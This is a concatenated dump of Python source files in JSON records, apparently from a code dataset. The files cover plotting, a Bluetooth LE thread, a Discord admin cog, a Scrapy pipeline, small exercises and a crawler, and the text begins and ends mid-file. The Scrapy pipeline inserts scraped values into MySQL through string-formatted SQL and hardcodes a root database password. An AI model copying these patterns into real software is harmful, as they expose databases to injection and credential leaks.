text=\"Dalbaragi Model (.dmd)\")\n\ndef register():\n bpy.utils.register_class(EmportDalModel)\n bpy.types.TOPBAR_MT_file_export.append(menu_func_export)\n\ndef unregister():\n bpy.utils.unregister_class(EmportDalModel)\n bpy.types.TOPBAR_MT_file_export.remove(menu_func_export)\n\n\nif __name__ == \"__main__\":\n register()\n bpy.ops.export_model.dmd('INVOKE_DEFAULT')\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"474552295","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport matplotlib as mpl\n\n# 自定义colormap\ndef colormap():\n return mpl.colors.LinearSegmentedColormap.from_list('cmap', ['#FFFFFF', '#98F5FF', '#00FF00', '#FFFF00','#FF0000', '#68228B'], 256)\n\n\n\nfrom sklearn.metrics import pairwise_distances\n\n\n\ndata_name=\"PAN\"\nmodel_name=\"doc2vec\" # IFIDF\nlabel_path=\"../../../data/regular_data/\"+data_name+\"_labels.txt\"\ngraph_path=\"../../../results/graphs/\"+data_name+\"_\"\nfigure_to_path=\"../../../results/figures/\"+data_name+\"_\"+model_name+\"_\"\n\n\n\n\n\n\ntraits=pd.read_table(label_path,header=None,sep=\" \")\nprint(traits[[1,2,3,4,5]])\n\ntrait_sims=1-pairwise_distances(traits[[1,2,3,4,5]],metric='cosine')\n\nsims=np.load(graph_path+\"sims_\"+model_name+\".npy\")\n\n\n\n\n\nx=sims #df_all[\"text_sim_tfidf_stopword_removed\"]\ny=trait_sims # df_all[\"traits_sim_cos\"]\nz=abs(x-y)\nxmin = x.min()\nxmax = x.max()\nymin = y.min()\nymax = y.max()\nfig, ax = plt.subplots(ncols=1)#, figsize=(7, 4))\nhb = ax.hexbin(x, y,gridsize=(40,20), bins='log', cmap=colormap())\n\n\n\nax.axis([xmin, xmax, ymin, ymax])\n\n\nplt.xlabel('texts similarity')\nplt.ylabel('traits similarity')\n\nax.set_title(\"Text similarity vs Traits similarity Density Map\\n\")\ncb = fig.colorbar(hb, ax=ax)\ncb.set_label('log(N)')\nplt.savefig(figure_to_path+\"TextSimVSTraitSimDensMap_doc2vec.jpg\")\nplt.show()\n\n","sub_path":"src/compare/doc2vec/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"470513807","text":"import threading\nimport BLE.ble_exceptions as exceptions\n\nfrom utils import LOG\nfrom termcolor import colored\nfrom BLE.ble_messages import BLERequest, BLEResponse\nfrom BLE.ble_wrapper import BLEWrapper\nfrom BLE.ble_utils import CONTROL_SERVICE, MAX_CONNECTED_DEVICES\n\n\n# NOTE: Mapped to make code a little more readable\n# --- RESPONSES ---\nNEW_DEVICES = BLEResponse.NEW_DEVICES\nNO_NEW_DEVICES = BLEResponse.NO_NEW_DEVICES\nDEVICE_MAX_EXCEEDED = BLEResponse.DEVICE_MAX_EXCEEDED\nREAD_DATA = BLEResponse.READ_DATA\nDONE = BLEResponse.DONE\nFAILED = BLEResponse.FAILED\n\n# --- REQUESTS ---\nCHECK_STATUS = BLERequest.CHECK_STATUS\nADD_DEVICE = BLERequest.ADD_DEVICE\nREMOVE_DEVICES = BLERequest.REMOVE_DEVICES\nREAD = BLERequest.READ\nWRITE = BLERequest.WRITE\nEXIT = BLERequest.EXIT\n\n\nclass BLEThread(threading.Thread):\n \"\"\" BLE communication thread\n\n This class waits for BLERequest order, performs it (blocking)\n and then goes back to sleep in wait for next order. Returns\n BLEResponse with data related to received order.\n Stores all connected devices.\n \"\"\"\n def __init__(self, orders_queue, response_queue):\n threading.Thread.__init__(self)\n self.setDaemon(True)\n\n self.BLEClient = BLEWrapper()\n self.response_queue = response_queue\n self.orders_queue = orders_queue\n self.thread_alive = True\n self.actions = {CHECK_STATUS: self.check_status,\n ADD_DEVICE: self.add_device,\n REMOVE_DEVICES: self.remove_devices,\n READ: self.read,\n WRITE: self.write,\n EXIT: self.exit}\n\n self._connected_devices = []\n\n def _assign_available_device_id(self):\n \"\"\" Search for available IDs based on already connected devices\n\n As add_device method won't search for new device if connected\n devices amount is high enough this method won't ever return\n already used ID (which could have happened otherwise (last ID)).\n\n **Params:**\n *None*\n **Return:**\n ID (int) from range 0 to MAX_CONNECTED_DEVICES\n \"\"\"\n IDs = [device['devID'] for device in self._connected_devices]\n for ID in range(MAX_CONNECTED_DEVICES):\n if ID not in IDs:\n break\n LOG(self, \"Assigning BLE ID: {}\".format(ID))\n return ID\n\n def _parse_device_data(self, device_data):\n \"\"\" Parse device data\n\n Prepare two dicts with data\n 1. Internal data with stored char objects\n 2. Response data, which contain device name, ID,\n characteristics names with order description and values.\n This data is sent to central device thread.\n\n **Params:**\n *device_data* - connected device data\n **Return:**\n (internal_data, response_data)\n \"\"\"\n device = device_data[0]\n internal_data = {'dev': device}\n response_data = device_data[1]\n\n response_chars_data = []\n service = device.getServiceByUUID(CONTROL_SERVICE)\n char_objects = service.getCharacteristics()\n for ID, char in enumerate(char_objects):\n internal_data[ID] = char\n char_data = self._parse_characteristic(char, ID)\n response_chars_data.append(char_data)\n response_data['chars'] = response_chars_data\n\n return internal_data, response_data\n\n def _parse_characteristic(self, char, ID):\n \"\"\" Parse characteristic data\n\n Gets characteristic orders (expected value and description)\n and name. Stores all data in dict.\n\n **Params:**\n *char* - characteristic object, which data eeds to be parsed\n **Return:**\n dict with parsed data\n \"\"\"\n descriptor = char.getDescriptors()[0]\n\n # NOTE: Workaround - cutting off '\\x00' char in the end\n # of the string\n raw_data = descriptor.read().decode('utf-8')[:-1]\n chunks = raw_data.split('||')\n char_name_raw = chunks.pop(0)\n char_name = char_name_raw.split(':')[1]\n\n orders = []\n for chunk in chunks:\n order = {}\n order_raw = chunk.split('|')\n order['value'] = order_raw[0].split(':')[1]\n order['desc'] = order_raw[1].split(':')[1]\n orders.append(order)\n\n response = {'ID': ID,\n 'name': char_name,\n 'orders': orders}\n return response\n\n def _handle_action_exception(self, exception, request):\n \"\"\" Handle all expected BLE exceptions\n\n **Params:**\n *exception* - exception object\n *action* - action, which was performed when exception occured\n **Return:**\n appropriate BLEResponse object\n **Exceptions**:\n all unexpected exceptions will be raised\n \"\"\"\n if all([request == ADD_DEVICE,\n type(exception) == exceptions.NoDeviceFound]):\n response = BLEResponse(request=request,\n response=NO_NEW_DEVICES)\n elif all([request == ADD_DEVICE,\n type(exception) == exceptions.MaxConnectedDevExceeded]):\n response = BLEResponse(request=request,\n response=DEVICE_MAX_EXCEEDED)\n elif all([request == READ,\n type(exception) == exceptions.ReadNotAllowed]):\n response = BLEResponse(request=request,\n response=FAILED,\n data='Reading this char is not allowed!')\n elif all([request == READ,\n type(exception) == exceptions.NoDeviceFound]):\n response = BLEResponse(request=request,\n response=FAILED,\n data='Incorrect device ID!')\n else:\n raise exception\n return response\n\n def _execute(self, order):\n \"\"\" Execute received order and send response \"\"\"\n request = order.request\n LOG(self, colored('Received order: ', 'yellow') +\n '{}'.format(order))\n try:\n action = self.actions[request]\n response = action(order.data) if order.data else action()\n except Exception as e:\n response = self._handle_action_exception(e, request)\n LOG(self, colored('Order response: ', 'yellow') +\n '{}'.format(response.request, response))\n self.response_queue.put(response)\n\n def run(self):\n \"\"\" Main thread loop \"\"\"\n LOG(self, colored(\"Starting BLE thread\", 'green'))\n while(self.thread_alive):\n order = self.orders_queue.get()\n self._execute(order)\n LOG(self, colored(\"Finished BLE thread\", 'green'))\n\n def check_status(self):\n \"\"\" Currently this method does not make anything\n\n In future this method may be used to check BLE communication thread\n status e.g. check antenna state\n \"\"\"\n return BLEResponse(request=CHECK_STATUS,\n response=DONE)\n\n def add_device(self, timeout=5):\n \"\"\" Look for new compatible device and connect to it if found\n\n **Params:**\n *timeout* - scan period in seconds\n **Return:**\n BLEResponse NEW_DEVICES with devices data\n **Exceptions:**\n *MaxConnectedDevExceeded* when max devices amount is already\n stored\n \"\"\"\n response = []\n available_new_dev_amount = \\\n MAX_CONNECTED_DEVICES - len(self._connected_devices)\n\n if available_new_dev_amount <= 0:\n raise exceptions.MaxConnectedDevExceeded\n\n devices_data = self.BLEClient.scan_and_connect_devices(\n timeout=timeout, connected_devices=self._connected_devices,\n max_new_connections=available_new_dev_amount)\n\n for device_data in devices_data:\n internal_data, response_data = \\\n self._parse_device_data(device_data)\n\n dev_id = self._assign_available_device_id()\n internal_data['devID'] = dev_id\n response_data['BLE_ID'] = dev_id\n\n self._connected_devices.append(internal_data)\n response.append(response_data)\n\n return BLEResponse(request=ADD_DEVICE,\n response=NEW_DEVICES,\n data=response)\n\n def remove_devices(self, device_ids=None):\n \"\"\" Disconnect device and remove from connected devices list\n\n **Params:**\n *devices* - list of devices IDs to disconnect. If no devices\n are given than all connected devices will\n be disconnected\n **Return:**\n BLEResponse DONE\n \"\"\"\n if not device_ids:\n device_ids = \\\n [device['devID'] for device in self._connected_devices]\n devices = [device['dev'] for device in self._connected_devices]\n else:\n devices_dicts = list(filter(\n lambda dev: dev['devID'] in device_ids,\n self._connected_devices))\n devices = list(map(\n lambda dev_dict: dev_dict['dev'], devices_dicts))\n\n self.BLEClient.disconnect_devices(devices)\n remaining_devices = list(filter(\n lambda dev_dict: dev_dict['dev'] not in devices,\n self._connected_devices))\n\n self._connected_devices = remaining_devices\n\n return BLEResponse(request=REMOVE_DEVICES,\n response=DONE,\n data=device_ids)\n\n def exit(self):\n \"\"\" Stops BLE thread loop, disconnects all devices\n\n **Return:**\n BLEResponse DONE\n \"\"\"\n self.thread_alive = False\n self.remove_devices()\n\n return BLEResponse(request=EXIT,\n response=DONE)\n\n def read(self, data):\n device = list(filter(lambda dev: dev['devID'] == data['BLE_ID'],\n self._connected_devices))\n if not device:\n raise exceptions.NoDeviceFound\n\n characteristic = device[0][data['char_ID']]\n response = self.BLEClient.read(characteristic)\n\n return BLEResponse(request=READ,\n response=READ_DATA,\n data=response)\n\n def write(self, data):\n device = list(filter(lambda dev: dev['devID'] == data['BLE_ID'],\n self._connected_devices))\n if not device:\n raise exceptions.NoDeviceFound\n\n characteristic = device[0][data['char_ID']]\n self.BLEClient.write(characteristic, data['data'])\n\n return BLEResponse(request=WRITE,\n response=DONE)\n","sub_path":"BLE/ble_thread.py","file_name":"ble_thread.py","file_ext":"py","file_size_in_byte":10868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"629575521","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 31 10:51:45 2014\r\n\r\n@author: Mly Driss\r\n\"\"\"\r\n\r\nimport copy\r\n\r\n\"\"\" Write a program to calculate the derivatives of polynomials.\"\"\"\r\n\r\nclass Polynom:\r\n \"\"\"class of polynoms defined as a list of factors & a list of powers.\"\"\"\r\n \r\n def __init__(self, polynom =[]):\r\n \"\"\"Create a Polynom instance with:\r\n \r\n polynom: dictionary with the power as key and factor as value.\r\n \"\"\"\r\n self._polynom = copy.deepcopy(polynom)\r\n self._order = len(polynom)-1\r\n \r\n def __str__(self):\r\n \"\"\"String representation of polynom.\"\"\"\r\n result = ''\r\n for i in range(self._order + 1):\r\n if self._polynom[i] == 0:\r\n next\r\n result = result + ' + ' + str(self._polynom[i]) + 'x^' + str(i)\r\n return result[3:]\r\n \r\n __repr__ = __str__\r\n \r\n def _derivate(self):\r\n \"\"\"Calculates the derivative of a polynom.\"\"\"\r\n result = Polynom([0]*self._order)\r\n for i in range(self._order):\r\n result._polynom[i] = self._polynom[i+1]*(i+1)\r\n return result\r\n\r\nif __name__ == '__main__':\r\n pol1 = Polynom([0, 3])\r\n d_pol1 = pol1._derivate()\r\n dd_pol1 = d_pol1._derivate()\r\n print(pol1, '\\n', d_pol1, '\\n', dd_pol1)\r\n \r\n ","sub_path":"python_training/ch02_project1.py","file_name":"ch02_project1.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"533964806","text":"# Copyright (c) 2020 tx3\r\n\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy\r\n# of this software and associated documentation files (the \"Software\"), to deal\r\n# in the Software without restriction, including without limitation the rights\r\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n# copies of the Software, and to permit persons to whom the Software is\r\n# furnished to do so, subject to the following conditions:\r\n\r\n# The above copyright notice and this permission notice shall be included in all\r\n# copies or substantial portions of the Software.\r\n\r\n# Credit to @AlexFlipnote for portions of this code! :))\r\n\r\nimport discord\r\nfrom discord.ext import commands\r\nimport os\r\nimport sys\r\nimport time\r\nfrom utils import permissions, default, http, dataIO\r\n\r\nclass Admin(commands.Cog):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n self.config = default.get(\"src/config.json\")\r\n self._last_result = None\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def load(self, ctx, name: str):\r\n \"\"\" Loads an extension. \"\"\"\r\n try:\r\n self.bot.load_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Loaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def unload(self, ctx, name: str):\r\n \"\"\" Unloads an extension. \"\"\"\r\n try:\r\n self.bot.unload_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Unloaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def reload(self, ctx, name: str):\r\n \"\"\" Reloads an extension. \"\"\"\r\n try:\r\n self.bot.reload_extension(f\"cogs.{name}\")\r\n except Exception as e:\r\n return await ctx.send(default.traceback_maker(e))\r\n await ctx.send(f\"Reloaded extension **{name}.py**\")\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def die(self, ctx):\r\n \"\"\"uea\"\"\"\r\n await ctx.send('gn')\r\n time.sleep(1)\r\n sys.exit(0)\r\n\r\n @commands.command(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def dm(self, ctx, user_id: int, *, message: str):\r\n \"\"\"dm someone for the trollz\"\"\"\r\n user = self.bot.get_user(user_id)\r\n if not user:\r\n return await ctx.send(f\"can't find mr **{user_id}**\")\r\n try:\r\n await user.send(message)\r\n await ctx.send(f\"messaged **{user_id}**\")\r\n except discord.Forbidden:\r\n await ctx.send(\"he don't wanna talk :neutral_face:\")\r\n\r\n @commands.group(hidden=True)\r\n @commands.check(permissions.is_owner)\r\n async def change(self, ctx):\r\n if ctx.invoked_subcommand is None:\r\n await ctx.send_help(str(ctx.command))\r\n\r\n @change.command(name=\"playing\")\r\n @commands.check(permissions.is_owner)\r\n async def change_playing(self, ctx, *, playing: str):\r\n \"\"\"playing stats chang8r for whatever reason\"\"\"\r\n if self.config.status_type == \"idle\":\r\n status_type = discord.Status.idle\r\n elif self.config.status_type == \"dnd\":\r\n status_type = discord.Status.dnd\r\n else:\r\n status_type = discord.Status.online\r\n\r\n if self.config.playing_type == \"listening\":\r\n playing_type = 2\r\n elif self.config.playing_type == \"watching\":\r\n playing_type = 3\r\n else:\r\n playing_type = 0\r\n\r\n try:\r\n await self.bot.change_presence(\r\n activity=discord.Activity(type=playing_type, name=playing),\r\n status=status_type\r\n )\r\n dataIO.change_value(self.config, \"playing\", playing)\r\n await ctx.send(\"changed gamer status to \" + f'**{playing}**.')\r\n except discord.InvalidArgument as err:\r\n await ctx.send(err)\r\n except Exception as e:\r\n await ctx.send(e)\r\n\r\n @change.command(name=\"username\")\r\n @commands.check(permissions.is_owner)\r\n async def change_username(self, ctx, *, name: str):\r\n \"\"\"change username ;)\"\"\"\r\n try:\r\n await self.bot.user.edit(username=name)\r\n await ctx.send(f\"yea aight now i'm **{name}** :sob:\")\r\n except discord.HTTPException as e:\r\n await ctx.send(\"too many people might have this name, try something else.\")\r\n print(f\"exception at {e}\")\r\n\r\n\r\ndef setup(bot):\r\n bot.add_cog(Admin(bot))\r\n","sub_path":"src/cogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"246438401","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport json\n#from scrapy import log\nimport requests\nimport random\nimport MySQLdb\nimport MySQLdb.cursors\nfrom twisted.enterprise import adbapi\nimport pymysql\nimport csv\nfrom padouban.settings import USER_AGENT\nheaders = {\n 'Referer':'http://www.douban.com/',\n 'User-Agent':USER_AGENT\n}\n\"\"\"\n#保存入CSV文件\nclass CSVPipeline(object):\n def __init__(self):\n self.f = open(\"CSV1.csv\", \"w\")\n self.writer = csv.writer(self.f)\n self.writer.writerow(['rank', 'cover_url', 'is_playable', 'id', 'types', 'regions', 'title', 'movie_url', 'release_date','actor_count', 'vote_count','score','actors','is_watched'])\n\n def process_item(self, item, spider):\n CSV_list = [item['rank'], item['cover_url'], item['is_playable'], item['id'],item['types'], item['regions'], item['title'], item['movie_url'],\n item['release_date'], item['actor_count'], item['vote_count'],\n item['score'],item['actors'],item['is_watched']]\n\n self.writer.writerow(CSV_list)\n return item\n def close_spider(self, spider):#关闭\n self.writer.close()\n self.f.close()\n\"\"\"\n#保存入JSON文件\n#class PadoubanPipeline(object):\n\n\n #def open_spider(self, spider):\n #self.file = open('dou1.json', 'w')\n #def process_item(self, item, spider):\n #content = json.dumps(dict(item), ensure_ascii=False) + '\\n'\n #self.file.write(content)\n #return item\n #def close_spider(self, spider):\n #self.file.close()\n\n#保存入MySQL数据库\nclass MySQLPipeline(object):\n def __init__(self):\n\n # connection database\n self.connect = pymysql.connect(host='localhost', port=3306, user='root', passwd='Wangzhenya1998',\n db='mysql',charset='utf8') # 后面三个依次是数据库连接名、数据库密码、数据库名称\n #get cursor\n self.cursor = self.connect.cursor()\n print(\"连接数据库成功\")\n #self.dbpool = adbapi.ConnectionPool(\"MySQLdb\",\n #db=\"scrapy\", # 数据库名\n #user=\"root\", # 数据库用户名\n #passwd=\"Wangzhenya1998\", # 密码\n #cursorclass=MySQLdb.cursors.DictCursor,\n #charset=\"utf8\",\n #use_unicode=False\n # )\n\n\n\n def process_item(self, item, spider):\n # sql语句\n\n insert_sql = \"INSERT INTO doubanpachong(tk, coverurl, isplayable, id, ty, regions, title, movieurl, releasedate,ac, votecount,score,act,iswatched) VALUES('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')\" % \\\n (item['rank'], item['cover_url'], item['is_playable'], item['id'],\n item['types'], item['regions'], item['title'], item['movie_url'],\n item['release_date'], item['actor_count'], item['vote_count'],\n item['score'],item['actors'],item['is_watched'])\n\n # 执行插入数据到数据库操作\n # self.cursor.execute(insert_sql, (item['rank'], item['cover_url'], item['is_playable'], item['id'],\n #item['types'], item['regions'], item['title'], item['movie_url'],\n #item['release_date'], item['actor_count'], item['vote_count'],\n #item['score'],item['actors'],item['is_watched']))\n # 提交,不进行提交无法保存到数据库\n self.cursor.execute(insert_sql)\n self.connect.commit()\n return item\n def close_spider(self, spider):\n # 关闭游标和连接\n self.cursor.close()\n self.connect.close()\n\n\n\n'''\n #def process_item(self, item, spider):\n #query = self.dbpool.runInteraction(self._conditional_insert, item)\n #query.addErrback(self.handle_error)\n #return item\n\n #def _conditional_insert(self, tb, item):\n #tb.execute(\"insert into douban (rank, cover_url, is_playable, id, types, regions, title, movie_url, release_date,\\\n #actor_count, vote_count,score,actors,is_watched) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\", \\\n #(item['rank'], item['cover_url'], item['is_playable'], item['id'], \\\n #item['types'], item['regions'], item['title'], item['movie_url'], \\\n # item['release_date'], item['actor_count'], item['vote_count'],\n # item['score'],item['actors'],item['is_watched']))\n #self.dbpool.commit()\n #def close_spider(self,spider):\n # self.\n #log.msg(\"Item data in db: %s\" % item, level=log.DEBUG)\n\n #def handle_error(self, e):\n #log.err(e)\n #def get_media_requests(self, item, spider):\n #for image_url in item['cover_url']:\n #self.download_img(image_url)\n #return item\n'''\n\n\n\n\n","sub_path":"padouban/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":5198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"212814443","text":"def vis_image(img, ax=None):\n\n from matplotlib import pyplot as plot\n import numpy as np\n\n if ax is None:\n fig = plot.figure(figsize=(10,10))\n ax = fig.add_subplot(1, 1, 1)\n if img is not None:\n img = img\n ax.imshow(img.astype(np.uint8))\n return ax\n\ndef vis_bbox(img, bbox, label=None, score=None, label_names=None,\n instance_colors=None, alpha=1., linewidth=2.,\n sort_by_score=True, ax=None):\n\n from matplotlib import pyplot as plt\n import numpy as np\n\n if label is not None and not len(bbox) == len(label):\n raise ValueError('The length of label must be same as that of bbox')\n if score is not None and not len(bbox) == len(score):\n raise ValueError('The length of score must be same as that of bbox')\n\n if sort_by_score and score is not None:\n order = np.argsort(score)\n bbox = bbox[order]\n score = score[order]\n if label is not None:\n label = label[order]\n\n # Returns newly instantiated matplotlib.axes.Axes object if ax is None\n ax = vis_image(img, ax=ax)\n \n # If there is no bounding box to display, visualize the image and exit.\n if len(bbox) == 0:\n return ax\n\n if instance_colors is None:\n # Red\n instance_colors = np.zeros((len(bbox), 3), dtype=np.float32)\n instance_colors[:, 0] = 255\n instance_colors = np.array(instance_colors)\n\n for i, bb in enumerate(bbox):\n xy = (bb[1], bb[0])\n height = bb[2] - bb[0]\n width = bb[3] - bb[1]\n color = instance_colors[i % len(instance_colors)] / 255\n ax.add_patch(plt.Rectangle(\n xy, width, height, fill=False,\n edgecolor=color, linewidth=linewidth, alpha=alpha))\n\n caption = []\n \n if label is not None and label_names is not None:\n lb = label[i]\n if not (0 <= lb < len(label_names)):\n raise ValueError('No corresponding name is given')\n caption.append(label_names[lb])\n if score is not None:\n sc = score[i]\n caption.append('{:.2f}'.format(sc))\n\n if len(caption) > 0:\n ax.text(bb[1], bb[0],\n ': '.join(caption),\n style='italic',\n bbox={'facecolor': 'white', 'alpha': 0.7, 'pad': 10})\n return ax\n\ndef h2rgb(h):\n import numpy as np\n\n c = 255\n s = 255\n h_ = h/60\n v = s\n x = c * (1 - np.abs( h_ % 2 - 1))\n vals = [[c,x,0], [x,c,0], [0,c,x],[0,x,c], [x,0,c], [c,0,x]]\n ind = np.where((np.arange(6)==h//60))\n r,g,b = np.ones(3)*(v-c) + vals[ind[0][0]]\n return r,g,b\n\n\ndef vis_mask(img,mask,beta=0.5):\n import numpy as np\n import cv2\n \n rows,cols = mask.shape\n mask_color = np.zeros([rows,cols,3])\n categories = np.unique(mask)\n h_list = np.arange(0,360,360/(categories.shape[0]-1)).astype(\"int\")\n\n for i,h in enumerate(h_list):\n i+=1\n r,g,b = h2rgb(h)\n mask_color[mask==categories[i],0] = r\n mask_color[mask==categories[i],1] = g\n mask_color[mask==categories[i],2] = b\n\n mask_color = mask_color.astype('uint8')\n blended = cv2.addWeighted(src1=img ,alpha=1, src2=mask_color ,beta=beta, gamma=0)\n \n return blended\n\ndef save_gif(imgs,out_dir,fps=1):\n import matplotlib.pyplot as plt\n import matplotlib.animation as animation\n\n ratio = imgs[0].shape[0]/imgs[0].shape[1]\n size = (10,10*ratio)\n\n fig,ax = plt.subplots(figsize = size)\n plt.subplots_adjust(left=0, right=1, bottom=0, top=1)\n\n plt.tick_params(labelbottom=False,\n labelleft=False,\n labelright=False,\n labeltop=False)\n plt.tick_params(bottom=False,\n left=False,\n right=False,\n top=False)\n\n ims = []\n for img in imgs:\n im = ax.imshow(img, interpolation=\"spline36\")\n ims.append([im])\n \n ani = animation.ArtistAnimation(fig, ims, interval=300, repeat_delay=100) \n w = animation.PillowWriter(fps=fps)\n ani.save(out_dir,writer=w)\n plt.close()","sub_path":"satimagery/vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":4136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"414745123","text":"# https://leetcode.com/problems/merge-sorted-array/\n\nclass Solution:\n def merge(self, nums1: List[int], m: int, nums2: List[int], n: int) -> None:\n last = m + n - 1 # last index\n m -= 1\n n -= 1\n \n if(m == -1):\n nums1[0:n+1] = nums2\n \n while(m >= 0 and n >= 0):\n if nums1[m] >= nums2[n]:\n nums1[last] = nums1[m]\n m -= 1\n last -= 1\n else:\n nums1[last] = nums2[n]\n n -= 1\n last -= 1\n # if list2 finishes then we reach answer\n # if list 1 finishes before list 2 then append all item of list2 before list1\n if m == -1:\n nums1[:n+1] = nums2[:n+1]\n \n","sub_path":"LeetCode/Array/88. Merge Sorted Array.py","file_name":"88. Merge Sorted Array.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322977163","text":"def fibonacci(num):\n a=0\n b=1\n print(a,b, end=' ')\n for i in range(1,num-2):\n c=a+b\n a=b\n b=c\n print(b, end=' ')\nnum=int(input(\"enter length of sequence: \"))\nfibonacci(num)\n\n","sub_path":"func_fibonacci.py","file_name":"func_fibonacci.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"553743941","text":"# env /bin/python\n# Denis Kotsur\nimport turtle\nimport math\nt = turtle.Turtle()\nws = turtle.Screen()\n\n\ndef main_triangle(x1, y1, N): # Draw main triangle\n h = 200\n d = h*math.sqrt(4/3)\n x2 = d + x1\n y2 = 0 + y1\n x3 = d/2 + x1\n y3 = h + y1\n t.pu()\n t.goto(x1, y1)\n t.pd()\n t.goto(x2, y2)\n t.goto(x3, y3)\n t.goto(x1, y1)\n x1 = d/2 + x1\n inner_triangle(x1, y1, h/2, N-1)\n turtle.exitonclick()\n\n\ndef inner_triangle(x1, y1, h, N): # Draw inner triangles\n if N < 1:\n return\n h1 = h/2\n d = h*math.sqrt(4/3)\n x2 = x1 - d/2\n y2 = y1 + h\n x3 = x1 + d/2\n y3 = y1 + h\n t.pu()\n t.goto(x1, y1)\n t.pd()\n t.goto(x2, y2)\n t.goto(x3, y3)\n t.goto(x1, y1)\n inner_triangle(x1, y2, h1, N-1) # Draw top triangles\n inner_triangle(x2, y1, h1, N-1) # Draw left triangles\n inner_triangle(x3, y1, h1, N-1) # Draw right triangles\n\n\ndef main():\n main_triangle(200, 100, 6)\nif __name__ == '__main__':\n main()\n","sub_path":"second/sierpinsky/myserp.py","file_name":"myserp.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"392510017","text":"#!/usr/bin/env python\n__author__ = \"Simon Padberg\"\n\nimport argparse\nimport csv\nimport socket\nimport os.path\nfrom pathlib import Path\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef url_check(url):\n \"\"\" Validates a url (True) or file (False) \"\"\"\n try:\n r = requests.get(str(url))\n url_available = r.status_code == 200\n if url_available:\n # Website found\n return True\n else:\n print(\"URL \\\"{}\\\" is not available!\".format(url))\n except requests.exceptions.MissingSchema:\n # Pretending that this is a file\n return False\n except requests.exceptions.RequestException as e:\n print(\"{}: {}\".format(type(e).__name__, url))\n exit()\n\n\ndef ipv4_check(addr):\n \"\"\" Ipv4-Address validation \"\"\"\n try:\n socket.inet_pton(socket.AF_INET, addr)\n except AttributeError:\n try:\n socket.inet_aton(addr)\n except socket.error:\n return False\n return addr.count('.') == 3\n except socket.error:\n return False\n return True\n\n\ndef ipv6_check(addr):\n \"\"\" Ipv6-Address validation \"\"\"\n try:\n socket.inet_pton(socket.AF_INET6, addr)\n except socket.error:\n return False\n return True\n\n\ndef append2map(d, duplicates, col, ip_pos, desc_pos):\n # Only append with values\n if len(col) > 0:\n # Create empty entry for hashmap\n if len(col) == 1:\n if col[0]:\n col = [col[0], \"\"]\n else:\n # No value in list\n return\n # Search for new unique entry\n if col[ip_pos] not in d:\n d[col[ip_pos]] = col[desc_pos]\n else:\n # Found a duplicate\n duplicates[col[ip_pos]] = col[desc_pos]\n\n\ndef web_crawl(url):\n \"\"\" Searching for a html-table and\n returns a map with the (ip) data\n Warning: Only works 100% with a custom Briteline Website \"\"\"\n html = requests.get(url).text\n soup = BeautifulSoup(html, 'html.parser')\n rows = soup.find('table').find_all('tr')\n print(\"Found website: {}\".format(url))\n\n d = {}\n duplicates = {}\n # Default values\n ip_pos = 0\n desc_pos = 1\n ip_found = False\n for row in rows:\n col = row.find_all('td')\n col = [item.text.strip() for item in col]\n # searching for the first ip-address\n if args.ip_mode and not ip_found:\n for i in range(len(col)):\n if ipv4_check(col[i]) or ipv6_check(col[i]):\n print(\" - Found IP-Address\")\n ip_pos = i\n desc_pos = int(i == 0)\n ip_found = True\n break\n append2map(d, duplicates, col, ip_pos, desc_pos)\n return d, duplicates\n\n\ndef csv2map(csv_file):\n \"\"\" Creates new hashmap from \"csv\"file.\n Also finds ip position and store it as a key (ip --> description),\n when ip_mode is activated (-ip) \"\"\"\n d = {}\n duplicates = {}\n try:\n with open(csv_file, 'r', encoding='latin1') as f:\n print(\"Found file: {}\".format(csv_file))\n data = f.readlines()\n first_row = data[0].strip().split(args.delimiter)\n\n # Default values\n 